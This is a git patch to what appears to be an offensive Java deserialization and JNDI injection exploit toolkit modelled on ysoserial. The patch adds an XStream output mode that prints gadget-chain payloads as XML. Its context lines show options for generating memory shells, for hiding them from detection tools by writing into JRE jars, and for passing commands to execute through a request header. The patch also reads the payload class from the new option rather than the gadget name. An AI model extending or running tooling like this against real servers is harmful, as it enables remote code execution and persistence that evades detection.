From 4cf43d62604999a11250797d8edc23bf2046f5dc Mon Sep 17 00:00:00 2001 From: springkill Date: Fri, 16 Aug 2024 21:29:12 +0800 Subject: [PATCH] Support xstream --- build.gradle | 7 +++++-- gradle/libs.versions.toml | 2 ++ .../java/com/qi4l/jndi/controllers/ysoserial.java | 14 ++++++++++++-- .../java/com/qi4l/jndi/gadgets/Config/Config.java | 1 + .../com/qi4l/jndi/gadgets/utils/Serializer.java | 11 +++++++++++ 5 files changed, 31 insertions(+), 4 deletions(-) diff --git a/build.gradle b/build.gradle index 57b5561..3ab99fd 100644 --- a/build.gradle +++ b/build.gradle @@ -31,12 +31,14 @@ shadowJar { } dependencies { + implementation files('libs/jai-core-1.1.3.jar') + implementation files('libs/weblogic-server.jar') api libs.io.projectreactor.reactor.core api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc api libs.org.glassfish.tyrus.tyrus.server - api libs.javax.media.jai.jai.core +// api libs.javax.media.jai.jai.core api libs.org.javassist.javassist - api libs.com.oracle.weblogic.weblogic.server +// api libs.com.oracle.weblogic.weblogic.server api libs.xerces.xercesimpl api libs.com.fasterxml.jackson.core.jackson.databind api libs.com.teradata.jdbc.terajdbc @@ -95,6 +97,7 @@ dependencies { // api libs.commons.beanutils.commons.beanutils api libs.javax.websocket.javax.websocket.api api libs.com.caucho.resin + api libs.com.thoughtworks.xstream implementation 'net.sf.json-lib:json-lib:2.4:jdk15' runtimeOnly libs.org.aspectj.aspectjweaver compileOnly libs.org.apache.tomcat.tomcat.websocket diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 4b90e70..8857b03 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -2,6 +2,7 @@ # https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format [versions] +com-thoughtworks-xstream = "1.4.15" cn-hutool-hutool-all = "5.7.7" com-alibaba-fastjson = "1.2.83" com-alibaba-fastjson2-fastjson2 = "2.0.26" @@ -72,6 +73,7 @@ rome-rome = "1.0" xerces-xercesimpl = "2.12.0" [libraries] +com-thoughtworks-xstream = { module = "com.thoughtworks.xstream:xstream", version.ref = "com-thoughtworks-xstream" } cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" } com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" } com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" } diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 381dc4e..7b10cb4 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -9,7 +9,6 @@ import com.qi4l.jndi.gadgets.utils.StringUtil; import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; -import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.util.*; @@ -130,11 +129,21 @@ public class ysoserial { } } + if(cmdLine.hasOption("XStream")){ + Config.IS_XSTREAM = true; + } + final String payloadType = cmdLine.getOptionValue("gadget"); final String command = cmdLine.getOptionValue("parameters"); + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));; +// if (Config.IS_XSTREAM){ +// payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream")); +// }else { +// payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); +// } - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(options); System.exit(1); @@ -196,6 +205,7 @@ public class ysoserial { options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("x", "XStream", true, "Xstream deserialization"); options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java index 57c5bdb..fea0dfe 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -83,6 +83,7 @@ public class Config { public static Boolean IS_UTF_Bypass = false; public static Boolean IS_Hessian1 = false; public static Boolean IS_Hessian2 = false; + public static Boolean IS_XSTREAM = false; // 填充的脏数据长度 public static int DIRTY_LENGTH_IN_TC_RESET = 0; diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java index a0c2871..479fd5a 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java @@ -2,6 +2,7 @@ package com.qi4l.jndi.gadgets.utils; import com.caucho.hessian.io.*; import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import com.thoughtworks.xstream.XStream; import java.util.Base64; import java.io.ByteArrayOutputStream; @@ -65,6 +66,8 @@ public class Serializer implements Callable { AobjOut.setSerializerFactory(sf); AobjOut.writeObject(obj); AobjOut.close(); + } else if (IS_XSTREAM) { + xStreamSerialize(obj); } else { if (BASE64) { objOut = new SuObjectOutputStream(outB64); @@ -75,6 +78,8 @@ public class Serializer implements Callable { if (IS_Hessian1 || IS_Hessian2) { AobjOut.writeObject(obj); + } else if (IS_XSTREAM){ + return; } else { objOut.writeObject(obj); } @@ -90,6 +95,12 @@ public class Serializer implements Callable { return serialize(object); } + public static void xStreamSerialize(Object payload) { + XStream xstream = new XStream(); + String xml = xstream.toXML(payload); + System.out.println(xml); + } + public static class SuObjectOutputStream extends ObjectOutputStream { public SuObjectOutputStream(OutputStream out) throws IOException {